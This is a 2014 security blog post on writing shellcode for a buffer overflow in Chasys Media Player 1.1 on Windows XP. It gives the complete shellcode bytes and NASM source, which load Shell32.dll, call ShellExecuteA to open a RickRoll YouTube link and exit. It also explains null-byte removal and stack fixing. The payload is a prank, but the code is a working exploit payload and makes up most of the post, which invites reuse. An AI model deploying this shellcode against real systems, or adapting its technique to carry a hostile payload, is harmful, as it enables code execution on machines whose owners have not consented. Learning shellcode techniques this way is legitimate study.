Infosec Scribbles

February 13, 2014

Writing a RickRoll shellcode

I was sitting in the lab the other day ~socializing~ with other students and we all agreed it was sad that there was no shellcode out there that would open a RickRoll. Making one seemed like a good way to procrastinate from preparing a talk on privacy while learning how to write shellcodes and the challenge was accepted. The application to have fun with was Chasys Media Player 1.1 on Windows XP SP3, no DEP or ASLR.

TL;DR:

\x89\xE5\x83\xEC\x7F\x83\xEC\x7F\x83\xEC\x06\x31\xC0\x88\x45\x84\x88\x45\x91\x88\x45\xB1\x88\x45\xBD\x88\x45\xCB\x88\x45\xD0\x88\x45\xFB\x89\xEB\x83\xEB\x4E\x53\xFF\x15\x7C\x90\x41\xFF\x89\xEB\x83\xEB\x42\x53\x50\xFF\x15\x24\x91\x41\xFF\x6A\x01\x31\xC9\x51\x51\x89\xEB\x83\xEB\x2F\x53\x89\xEB\x83\xEB\x34\x53\x31\xC9\x51\xFF\xD0\x31\xC9\x51\xFF\x15\xE4\x90\x41\xFF\x53\x68\x65\x6C\x6C\x33\x32\x2E\x64\x6C\x6C\x21\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x41\x21\x6F\x70\x65\x6E\x21\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x76\x3D\x6F\x48\x67\x35\x53\x4A\x59\x52\x48\x41\x30\x21

Functions Used

I tested a few ideas on how to open a RickRoll efficiently and it seemed like WinAPI ShellExecuteA was the perfect tool for the job: when called with “open” operation and a URL it opens the URL with the default browser. Now, that function resides inside Shell32.dll, which may not always be present in memory. This meant that it had to be loaded with LoadLibraryA and the function needed to be retrieved with GetProcAddress from kernel32.dll.

Strings and Null Bytes

At this point I knew I needed 4 strings in the shellcode: “Shell32.dll”, “ShellExecuteA”, “open” and the URL for the RickRoll, “http://www.youtube.com/watch?v=oHg5SJYRHA0”. That was 4 null-bytes already that would have to somehow be put into the shellcode.

db "Shell32.dll",0xFF
db "ShellExecuteA",0xFF
db "open",0xFF
db "http://www.youtube.com/watch?v=oHg5SJYRHA0",0xFF

Another source of null bytes would be function addresses in the target’s IAT. Maybe there are better ways of calling WinAPI functions from the shellcode, but I wanted to learn without reading any guides and this was the first idea that came to my mind.

call dword [0xFF41907C] ; LoadLibraryA
call dword [0xFF419124] ; GetProcAddress
call dword [0xFF4190E4] ; ExitProcess

To deal with these two first sources I decided to set EAX to zero through XORing it and then to copy the AL value to the locations in the shellcode that needed to be null bytes, while replacing nulls with 0xFF in the shellcode that gets written on the stack.

; set nullbytes
xor eax,eax
; 3 in code
mov [ebp-7Ch],al
mov [ebp-6Fh],al
mov [ebp-4Fh],al
; 4 in data
mov [ebp-43h],al
mov [ebp-35h],al
mov [ebp-30h],al
mov [ebp-05h],al

To be able to address these locations relatively I saved ESP value to EBP at the very beginning of my shellcode, expecting it to point at the address right after my jump to the shellcode.

; save esp for relative addressing
mov ebp,esp

More null bytes would come from parameters passed to the functions: some of them had to be nulls. This was easier to work around as I could just set any register to zero and then push it on the stack.

The Stack

The broken stack presented another issue. Because it would be pointing at an address larger than where my shellcode would be, the shellcode would get overwritten in every function call. To fix this I simply had to subtract the length of my buffer from ESP. The trick was not to use more null bytes, because the value I needed to subtract was bigger than 0x7F and would need to be padded with zeroes. I decided to subtract a byte value a couple times: 0x7F + 0x7F + 0x06 would be enough.

; fix stack
sub esp,7Fh
sub esp,7Fh
sub esp,06h

The Result

Here is the resulting NASM source:

main:
[BITS 32]
; Chasys Media Player 1.1 Rick Overflow
; by @panda_sauce
; this will crash if you run it on its own, thats intended
; save esp for relative addressing
mov ebp,esp
; fix stack
sub esp,7Fh
sub esp,7Fh
sub esp,06h
; set nullbytes
xor eax,eax
; 3 in code
mov [ebp-7Ch],al
mov [ebp-6Fh],al
mov [ebp-4Fh],al
; 4 in data
mov [ebp-43h],al
mov [ebp-35h],al
mov [ebp-30h],al
mov [ebp-05h],al
; point at params correctly
mov ebx,ebp
sub ebx,4Eh
push ebx ; push offset Shell32.dll
call dword [0xFF41907C] ; LoadLibraryA
mov ebx,ebp
sub ebx,42h
push ebx ; push offset ShellExecuteA
push eax
call dword [0xFF419124] ; GetProcAddress
push 1
xor ecx,ecx ; killing null bytes
push ecx
push ecx
mov ebx,ebp
sub ebx,2Fh
push ebx ; push offset http://www.youtube.com/watch?v=oHg5SJYRHA0
mov ebx,ebp
sub ebx,34h
push ebx ; push offset open
xor ecx,ecx
push ecx
call eax ; ShellExecuteA
xor ecx,ecx
push ecx
call dword [0xFF4190E4] ; ExitProcess

db "Shell32.dll",0xFF
db "ShellExecuteA",0xFF
db "open",0xFF
db "http://www.youtube.com/watch?v=oHg5SJYRHA0",0xFF

If you want it to work on a different application you want to make sure the IAT pointers are correct. Please don’t forget to put credit where its due if you use this shellcode :)